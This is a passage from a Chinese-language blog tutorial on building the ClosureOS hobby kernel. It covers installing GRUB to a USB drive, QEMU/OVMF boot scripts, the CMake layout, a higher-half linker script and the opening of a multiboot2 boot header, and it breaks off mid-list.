$ cd ..&amp;#x2F;EFI64&amp;#x2F;grub-core
$ sudo ..&amp;#x2F;grub-install -d $PWD --force --removable --no-floppy --target=x86_64-efi --boot-directory=&amp;#x2F;mnt&amp;#x2F;boot --efi-directory=&amp;#x2F;mnt
$ cd ..&amp;#x2F;..&amp;#x2F;EFI32&amp;#x2F;grub-core
$ sudo ..&amp;#x2F;grub-install -d $PWD --force --removable --no-floppy --target=i386-efi --boot-directory=&amp;#x2F;mnt&amp;#x2F;boot --efi-directory=&amp;#x2F;mnt
$ cd ..&amp;#x2F;..&amp;#x2F;BIOS&amp;#x2F;grub-core
$ sudo ..&amp;#x2F;grub-install -d $PWD --force --no-floppy --target=i386-pc --boot-directory=&amp;#x2F;mnt&amp;#x2F;boot &amp;#x2F;dev&amp;#x2F;sdb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这里直接用系统自带的 &lt;code&gt;grub-install&lt;&#x2F;code&gt; 也可以直接安装，但是笔者在 Fedora 系统上使用自带的 &lt;code&gt;grub2-install&lt;&#x2F;code&gt; 时出现了这样一个错误：
grub2-install: error: this utility cannot be used for EFI platforms because it does not support UEFI Secure Boot.
网上也没有找到什么比较好的解决方案，笔者只好从源码进行编译&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;但是与此同时 Ubuntu 自带的 &lt;code&gt;grub-install&lt;&#x2F;code&gt; 就能正常使用...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来我们新建一个文件 &lt;code&gt;&#x2F;mnt&#x2F;boot&#x2F;grub&#x2F;grub.cfg&lt;&#x2F;code&gt; （假设你的 U 盘 EFI 分区和笔者一样挂载在 &lt;code&gt;&#x2F;mnt&lt;&#x2F;code&gt; 下），其为 GRUB 的配置文件，编写内容如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;set timeout=10  # waiting time befo automatic booting
set default=0   # default menu entry index

insmod all_video

menuentry &amp;quot;Boot ClosureOS v0.0.1&amp;quot; {
    multiboot2 &amp;#x2F;boot&amp;#x2F;kernel.bin # use multiboot2 spec to boot
    boot
}

if [ ${grub_platform} == &amp;quot;efi&amp;quot; ]; then
    menuentry &amp;quot;UEFI Setting&amp;quot; {
        fwsetup
    }
fi

menuentry &amp;quot;System Reboot&amp;quot; --class=reboot {
    reboot
}

menuentry &amp;quot;System Shutdown&amp;quot; --class=halt {
    halt
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;卸载 U 盘，重新启动计算机，进入你的 BIOS&#x2F;UEFI 配置界面，关闭安全启动（&lt;code&gt;Secure Boot&lt;&#x2F;code&gt;），将 U 盘配置为第一个启动项（通常开头会有一个 &lt;code&gt;UEFI:&lt;&#x2F;code&gt; 的标识），重新启动计算机，接下来——&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;GNU GRUB，启动！！！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;grub-usb-boot-screen.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当然，现在我们还没有开始编写操作系统内核，所以想要直接启动会报错，不过后面我们编写的内核直接放到 U 盘 EFI 分区的&lt;code&gt;boot&#x2F;kernel.bin&lt;&#x2F;code&gt; 这个位置就可以直接启动了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;usb-efi-partition-kernel-bin.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chuang-jian-bao-han-grub2-de-qi-dong-jing-xiang-wen-jian-bing-shi-yong-qemu-uefi-qi-dong&quot;&gt;&lt;strong&gt;创建包含 GRUB2 的启动镜像文件并使用 QEMU UEFI 启动&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;首先安装一些可能需要的依赖：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ sudo apt install -y qemu qemu-system-x86 ovmf xorriso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后使用如下脚本在 QEMU 中从 U 盘启动 GRUB，注意替换成你自己的 U 盘设备节点路径：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;sh
sudo qemu-system-x86_64 \
    -bios &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;ovmf&amp;#x2F;OVMF.fd \
    -cpu kvm64,+smep,+smap \
    -smp sockets=1,dies=1,cores=4,threads=2 \
    -m 4G \
    --machine q35 \
    -drive file=&amp;#x2F;dev&amp;#x2F;sdb,format=raw,index=0,media=disk
    -s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;各参数说明如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-bios&lt;&#x2F;code&gt; ：指定使用的启动固件，这里是 OVMF，源自于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;tianocore&#x2F;edk2&quot;&gt;EDK2&lt;&#x2F;a&gt; 的 UEFI 固件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-cpu&lt;&#x2F;code&gt;：指定 CPU 类型及特性，&lt;code&gt;kvm64&lt;&#x2F;code&gt; 是一种常规的 CPU 类型，&lt;code&gt;+smep&lt;&#x2F;code&gt; 和 &lt;code&gt;+smap&lt;&#x2F;code&gt; 表示开启阻止内核空间执行&#x2F;访问用户空间数据的保护&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-smp&lt;&#x2F;code&gt;：指定 CPU 插槽数、单个插槽上 DIE 的数量、每个 DIE 的核心数、每个核心的线程数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-m&lt;&#x2F;code&gt;：内存大小&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--machine&lt;&#x2F;code&gt; ：机器设备类型，QEMU 支持两种设备，另外一种是比较老的 &lt;code&gt;i440fx&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-drive&lt;&#x2F;code&gt;：添加一个设备，这里添加了 &lt;code&gt;&#x2F;dev&#x2F;sdc&lt;&#x2F;code&gt; 设备&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-s&lt;&#x2F;code&gt;：支持通过使用 gdb 连接 &lt;code&gt;0.0.0.0:1234&lt;&#x2F;code&gt; 进行调试&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;简单测试一下，成功进入 GRUB 界面：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;qemu-uefi-grub-menu.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果未指定 -bios 参数，则默认会使用 SeaBIOS 进行启动，此时便是传统的 BIOS + MBR 启动方式：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;qemu-seabios-bios-mbr-boot.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;不过可能也有同学手上暂时没有闲置的 U 盘或其他外部存储设备，此时我们也可以使用 &lt;code&gt;grub-mkrescue&lt;&#x2F;code&gt; 创建一个专门用来调试的镜像，首先创建如下目录结构：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ tree target&amp;#x2F;
target&amp;#x2F;
└── x86_64
    └── iso
        └── boot
            └── grub
                └── grub.cfg

4 directories, 1 file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来使用  &lt;code&gt;grub-mkrescue&lt;&#x2F;code&gt; 创建镜像：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在部分发行版上，这可能叫 &lt;code&gt;grub2-mkrescue&lt;&#x2F;code&gt; ，固件路径也可能不一样，请自行分辨&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ grub-mkrescue &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;grub&amp;#x2F;x86_64-efi -o kernel.iso target&amp;#x2F;x86_64&amp;#x2F;iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把启动脚本中的设备节点路径改成文件路径即可成功启动：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;sh
qemu-system-x86_64 \
    -bios &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;ovmf&amp;#x2F;OVMF.fd \
    -cpu kvm64,+smep,+smap \
    -smp sockets=1,dies=1,cores=4,threads=2 \
    -m 4G \
    --machine q35 \
    -drive file=.&amp;#x2F;kernel.iso,format=raw,index=0,media=disk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;0x03-qi-dong-yi-ge-kong-bai-nei-he&quot;&gt;&lt;strong&gt;0x03. 启动一个空白内核&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;接下来我们终于要正式开始进行内核的编写了，过去绝大部分的操作系统内核都是用 &lt;code&gt;汇编 + C 语言&lt;&#x2F;code&gt; 编写的，不过最近也有使用 Rust 替换 C 语言的内核实现（例如国产操作系统 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;dragonos.org&#x2F;&quot;&gt;DragonOS&lt;&#x2F;a&gt; ，&lt;em&gt;与绝大多数 Linux 系统调用兼容，目前已经完成了 musl-gcc 的移植&lt;&#x2F;em&gt;），Rust 也在逐渐进入 Linux 内核，包括&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;os.educg.net&#x2F;%23&#x2F;&quot;&gt;计算机系统能力大赛&lt;&#x2F;a&gt; 主推的也是 Rust 内核&lt;&#x2F;p&gt;
&lt;p&gt;但是对于新手而言 Rust 终归是有些难以让人绷得住，在笔者看来&lt;strong&gt;不能像 C 语言那样提供足够贴近于硬件底层的直接抽象&lt;&#x2F;strong&gt;，因此笔者这里还是先选择自己最喜欢的 C 语言编写内核最核心部分的代码，不过后面我们也会引入一部分 C++ 代码 ：）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dai-ma-ji-ben-jie-gou&quot;&gt;&lt;strong&gt;代码基本结构&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;最初的代码结构如下所示，包含一个空白内核：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ tree .
.
├── LICENSE
├── README.md
├── src
│   ├── arch
│   │   ├── CMakeLists.txt
│   │   └── x86
│   │       ├── boot
│   │       │   ├── boot_font.o
│   │       │   ├── boot_main.c
│   │       │   ├── boot.S
│   │       │   ├── boot_tty.c
│   │       │   └── CMakeLists.txt
│   │       ├── CMakeLists.txt
│   │       ├── include
│   │       │   └── asm
│   │       │       ├── com.h
│   │       │       ├── cpu_types.h
│   │       │       ├── io.h
│   │       │       └── page_types.h
│   │       └── linker.lds
│   ├── CMakeLists.txt
│   ├── include
│   │   ├── boot
│   │   │   └── multiboot2.h
│   │   ├── closureos
│   │   │   └── types.h
│   │   └── graphics
│   │       └── tty
│   │           ├── default.h
│   │           └── font
│   │               └── psf.h
│   └── kernel
│       ├── CMakeLists.txt
│       └── main.c
├── targets
│   └── x86_64
│       └── iso
│           └── boot
│               └── grub
│                   └── grub.cfg
└── tools
    └── scripts
        ├── boot.sh
        └── repack_iso.sh

21 directories, 24 files
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们使用 &lt;code&gt;CMake&lt;&#x2F;code&gt; 来进行项目管理，相比起传统的 &lt;code&gt;Makefile&lt;&#x2F;code&gt; ，这是一种更加方便、更加自动化、更加规范的现代编译工具&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;什么，你不知道如何编写 CMake？还不&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;latest&#x2F;index.html&quot;&gt;赶快学！&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;根目录的 &lt;code&gt;CMakeLists.txt&lt;&#x2F;code&gt; 编写如下，主要作用就是准备统一的编译参数、进入不同文件夹进行 make、链接所有的目标文件，这里我们去掉了标准库支持、去掉了调试段、指定了静态编译......因为在裸金属环境下能依赖的只有我们自己：）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;cmake_minimum_required(VERSION 3.16)
project(ClosureOS)

# for debugging only
#set(CMAKE_VERBOSE_MAKEFILE ON)

# languages we will use
enable_language(C)
enable_language(ASM)

# check for current compiler environment, temporarily support linux only
if (NOT CMAKE_HOST_SYSTEM_NAME STREQUAL &amp;quot;Linux&amp;quot;)
    message(FATAL_ERROR &amp;quot;Unsatisfied compilation environment, only support Linux now&amp;quot;)
endif()

# global link script
if (CMAKE_HOST_SYSTEM_PROCESSOR STREQUAL &amp;quot;x86_64&amp;quot;)
    set(CMAKE_EXE_LINKER_FLAGS &amp;quot;${CMAKE_EXE_LINKER_FLAGS} -T ${CMAKE_SOURCE_DIR}&amp;#x2F;arch&amp;#x2F;x86&amp;#x2F;linker.lds&amp;quot;)
else()
    message(FATAL_ERROR &amp;quot;Only support x86_64 now&amp;quot;)
endif()

# compile and link as bare bone project
add_compile_options(-pipe -ffreestanding -nostdlib -fno-pie -fno-stack-protector -mcmodel=large -fno-asynchronous-unwind-tables)
set(CMAKE_EXE_LINKER_FLAGS &amp;quot;${CMAKE_EXE_LINKER_FLAGS} -nostdlib -z max-page-size=0x1000 -Wl,--build-id=none -static&amp;quot;)

# general include dirs
include_directories(${PROJECT_SOURCE_DIR}&amp;#x2F;include)

# seperate module
add_subdirectory(arch)
add_subdirectory(kernel)

# we create an empty file for add_executable(), as it must need at least one file to work
file(WRITE &amp;quot;${CMAKE_CURRENT_BINARY_DIR}&amp;#x2F;internal_empty_file_for_occupation_only.cpp&amp;quot; &amp;quot;&amp;quot;)
add_executable(kernel.bin &amp;quot;${CMAKE_CURRENT_BINARY_DIR}&amp;#x2F;internal_empty_file_for_occupation_only.cpp&amp;quot;)

# final output
target_link_libraries(kernel.bin
    PRIVATE
        Arch
        Kernel
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;include&lt;&#x2F;code&gt; 目录下是用于各个子系统的各种头文件，与 multiboot2 规范相关的一些定义放在 &lt;code&gt;include&#x2F;boot&#x2F;multiboot2.h&lt;&#x2F;code&gt; 中，该头文件来自于&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot2&#x2F;html_node&#x2F;multiboot2_002eh.html&quot;&gt;Multiboot 2 spec&lt;&#x2F;a&gt;，比较长，这里就不贴出来了&lt;&#x2F;p&gt;
&lt;p&gt;内核主体放在 &lt;code&gt;kernel&lt;&#x2F;code&gt; 目录下，其中 &lt;code&gt;kernel&#x2F;CMakeLists.txt&lt;&#x2F;code&gt; 编写如下，目前暂时就只是添加当前文件夹下文件链接为 &lt;code&gt;Kernel&lt;&#x2F;code&gt; ：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(TARGET_NAME Kernel)
set(SOURCE_FILE)

file(GLOB SOURCE_FILE &amp;quot;${CMAKE_CURRENT_SOURCE_DIR}&amp;#x2F;*.cpp&amp;quot;
                      &amp;quot;${CMAKE_CURRENT_SOURCE_DIR}&amp;#x2F;*.c&amp;quot;)

if(SOURCE_FILE)
    add_library(${TARGET_NAME} &amp;quot;&amp;quot;)
    target_sources(${TARGET_NAME} PUBLIC ${SOURCE_FILE})
else()
    add_library(${TARGET_NAME} INTERFACE)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;kernel&#x2F;main.c&lt;&#x2F;code&gt; 暂时就先放一个空的函数， &lt;em&gt;本篇博客暂时还用不到这块&lt;&#x2F;em&gt; ：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;void main(void)
{
    &amp;#x2F;&amp;#x2F; do nothing
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;arch&lt;&#x2F;code&gt; 目录下是与架构相关的代码，目前暂时还是只支持 x86，不过后续如果有机会的话笔者希望能够让他在更多架构上跑起来，所以这里设计了一个通用的 &lt;code&gt;CMakeLists.txt&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(TARGET_NAME Arch)

add_library(${TARGET_NAME} INTERFACE)

# check for current architecture
if (CMAKE_HOST_SYSTEM_PROCESSOR STREQUAL &amp;quot;x86_64&amp;quot;)
    add_subdirectory(x86)
    target_link_libraries(${TARGET_NAME}
        INTERFACE
            X86)
else()
    message(FATAL_ERROR &amp;quot;Only support x86_64 now&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;arch&#x2F;x86&#x2F;CMakeLists.txt&lt;&#x2F;code&gt; 主要就是编译汇编和 C 文件以及启动阶段临时用的字体文件放到 &lt;code&gt;out&#x2F;arch&lt;&#x2F;code&gt; 目录下，这里我们将启动阶段所需的代码都放在 &lt;code&gt;arch&#x2F;x86&#x2F;boot&lt;&#x2F;code&gt; 目录下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(TARGET_NAME X86)
set(SOURCE_FILE)

include_directories(include)

add_subdirectory(boot)

file(GLOB SOURCE_FILE &amp;quot;${CMAKE_CURRENT_SOURCE_DIR}&amp;#x2F;*.cpp&amp;quot;
                      &amp;quot;${CMAKE_CURRENT_SOURCE_DIR}&amp;#x2F;*.c&amp;quot;)

if(SOURCE_FILE)
    add_library(${TARGET_NAME} &amp;quot;&amp;quot;)
    target_sources(${TARGET_NAME} PUBLIC ${SOURCE_FILE})
    target_link_libraries(${TARGET_NAME} PUBLIC Boot)
else()
    add_library(${TARGET_NAME} INTERFACE)
    target_link_libraries(${TARGET_NAME} INTERFACE Boot)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;arch&#x2F;x86&#x2F;boot&#x2F;CMakeLists.txt&lt;&#x2F;code&gt; 则就只是简单地编译当前目录的代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(TARGET_NAME Boot)
set(SOURCE_FILE)

file(GLOB SOURCE_FILE &amp;quot;${CMAKE_CURRENT_SOURCE_DIR}&amp;#x2F;*.S&amp;quot;
                      &amp;quot;${CMAKE_CURRENT_SOURCE_DIR}&amp;#x2F;*.c&amp;quot;
                      &amp;quot;${CMAKE_CURRENT_SOURCE_DIR}&amp;#x2F;boot_font.o&amp;quot;)

if(SOURCE_FILE)
    add_library(${TARGET_NAME} ${SOURCE_FILE})
else()
    message(FATAL_ERROR &amp;quot;no source files provided for boot&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;&quot;&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;linker.lds：链接脚本&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;什么，你不知道什么事链接脚本？还不&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;ftp.gnu.org&#x2F;old-gnu&#x2F;Manuals&#x2F;ld-2.9.1&#x2F;html_chapter&#x2F;ld_3.html&quot;&gt;赶快学&lt;&#x2F;a&gt;！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;需要注意的一点是，&lt;strong&gt;GNU GRUB 会默认将内核载入到物理地址高 1MB 起始&lt;&#x2F;strong&gt;，因此我们需要在链接脚本中将我们的引导部分加载到这个位置，同时作为一个不成文的规范，&lt;strong&gt;内核应当被装载到高地址处&lt;&#x2F;strong&gt;，那么我们的内核应当分为如下两大部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;boot：由 GRUB 引导，负责进行页表重映射、内存管理初始化等预备工作，完成后跳转至内核&lt;&#x2F;li&gt;
&lt;li&gt;kernel：实际的内核主体，位于虚拟地址的高地址处&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;笔者选择将 boot 阶段的所有代码全都放在开头为 &lt;code&gt;.boot&lt;&#x2F;code&gt; 的段当中，将 kernel 的 &lt;code&gt;.text&lt;&#x2F;code&gt; 等段重新从高地址处计算起始地址，因此链接脚本如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;OUTPUT_FORMAT(&amp;quot;elf64-x86-64&amp;quot;)
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)

SECTIONS
{
    &amp;#x2F;* boot loader will load the kernel there *&amp;#x2F;
    . = 1M;
    __boot_start = .;

    &amp;#x2F;* ASM boot-state kernel *&amp;#x2F;

    .boot.loader :
    {
        KEEP(*(.boot.header))
        *(.boot.*)
        arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;libBoot.a
    }

    . = ALIGN(4096);

    &amp;#x2F;* C boot-state kernel *&amp;#x2F;

    .boot.text ALIGN(4096) :
    {
        arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;libBoot.a(.text)
    }

    . = ALIGN(4096);

    .boot.rodata ALIGN(4096) :
    {
        arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;libBoot.a(.rodata)
    }

    . = ALIGN(4096);

    .boot.data ALIGN(4096) :
    {
        arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;libBoot.a(.data)
        arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;libBoot.a(.*)
    }

    . = ALIGN(4096);

    __boot_end = .;

    &amp;#x2F;* now we come to the REAL kernel *&amp;#x2F;

    KERM_VADDR = 0xffffffff81000000;
    . = KERM_VADDR;

    &amp;#x2F;* we use AT() there to make it loaded on phys correctly *&amp;#x2F;
    .text ALIGN(4096) : AT (ADDR (.text) - KERM_VADDR + __boot_end)
    {
        *(.text)
    }

    . = ALIGN(4096);

    .rodata ALIGN(4096) : AT (ADDR (.rodata) - KERM_VADDR + __boot_end)
    {
        *(.rodata)
    }

    . = ALIGN(4096);

    __roseg_end = .;

    .data ALIGN(4096) : AT (ADDR (.data) - KERM_VADDR + __boot_end)
    {
        *(.data)
    }

    . = ALIGN(4096);

    .bss ALIGN(4096) : AT (ADDR (.bss) - KERM_VADDR + __boot_end)
    {
        *(COMMON)
        *(.bss)
    }

    . = ALIGN(4096);

    __kernel_end = .;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;boot-s-bios-uefi-jian-rong-32-wei-hui-bian-ru-kou-tiao-zhuan-jin-ru-64-wei-c-yu-yan&quot;&gt;&lt;strong&gt;boot.S：BIOS &amp;amp; UEFI 兼容 32 位汇编入口，跳转进入 64 位 C 语言&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;arch&#x2F;x86&#x2F;boot.S&lt;&#x2F;code&gt; 中则是我们实际的内核入口点，我们的 multiboot2 header 也可以放在这个地方，这里除了最基本的结构以外笔者还引入了一个指示入口点的 tag，以及一个指示让 GRUB 帮我们设置好指定大小的 frame buffer 的 tag，GRUB2 会根据这个 tag 自动帮我们设置显示模式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;#define ASM_FILE 1
#include &amp;lt;boot&amp;#x2F;multiboot2.h&amp;gt;
#include &amp;lt;asm&amp;#x2F;cpu_types.h&amp;gt;
#include &amp;lt;asm&amp;#x2F;page_types.h&amp;gt;

#define GRUB_MULTIBOOT_ARCHITECTURE_I386 (0)
#define MULTIBOOT2_HEADER_LEN (multiboot_header_end - multiboot_header)
#define MULTIBOOT2_HEADER_CHECKSUM \
    -(MULTIBOOT2_HEADER_MAGIC \
    + GRUB_MULTIBOOT_ARCHITECTURE_I386 \
    + MULTIBOOT2_HEADER_LEN)

.section .boot.loader.header
    .align 8

    multiboot_header:
        .long   MULTIBOOT2_HEADER_MAGIC
        .long   GRUB_MULTIBOOT_ARCHITECTURE_I386
        .long   MULTIBOOT2_HEADER_LEN
        .long   MULTIBOOT2_HEADER_CHECKSUM

    tag_entry:
        .align 8
        .short MULTIBOOT_HEADER_TAG_ENTRY_ADDRESS
        .short 0
        .long 12
        .long _start

    tag_frame_buffer:
        .align 8
        .short MULTIBOOT_HEADER_TAG_FRAMEBUFFER
        .short 0
        .long 20
        .long 1024
        .long 768
        .long 32

    tags_end:
        .align 8
        .short  MULTIBOOT_HEADER_TAG_END
        .short  0
        .long   8
    multiboot_header_end:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;ELF 文件默认的入口点是 &lt;code&gt;_start&lt;&#x2F;code&gt; 函数，因此我们在这里声明一个 &lt;code&gt;_start&lt;&#x2F;code&gt; 函数并导出该符号，从而使得 GRUB 在完成内核的装载之后会从此处开始执行，不过我们也可以通过在 header 中添加一个 &lt;code&gt;entry address tag&lt;&#x2F;code&gt; 来为 GRUB 指定我们的内核入口点：&lt;&#x2F;p&gt;
&lt;p&gt;不过在正式开始之前，我们首先看看当前的机器状态，这里笔者打算&lt;strong&gt;同时兼容 Legacy BIOS 启动与 UEFI 启动&lt;&#x2F;strong&gt;，因此这两种机器状态我们都得看看如何处理&lt;&#x2F;p&gt;
&lt;h3 id=&quot;legacy-bios-qi-dong&quot;&gt;&lt;strong&gt;① Legacy BIOS 启动&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当我们使用 Legay BIOS 启动遵循 Multiboot2 规范的 32 位内核时，在进入内核时机器应当有如下&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot2&#x2F;multiboot.html%23Machine-state&quot;&gt;状态&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;eax&lt;&#x2F;code&gt;：必定为 Magic Number &lt;code&gt;0x36d76289&lt;&#x2F;code&gt;，该值的存在表明其为符合 multiboot2 标准的引导程序加载的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ebx&lt;&#x2F;code&gt;：必定为引导加载程序提供的 Multiboot2 信息结构的 32 位物理地址（参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot2&#x2F;multiboot.html%23Boot-information-format&quot;&gt;这里&lt;&#x2F;a&gt;）&lt;&#x2F;li&gt;
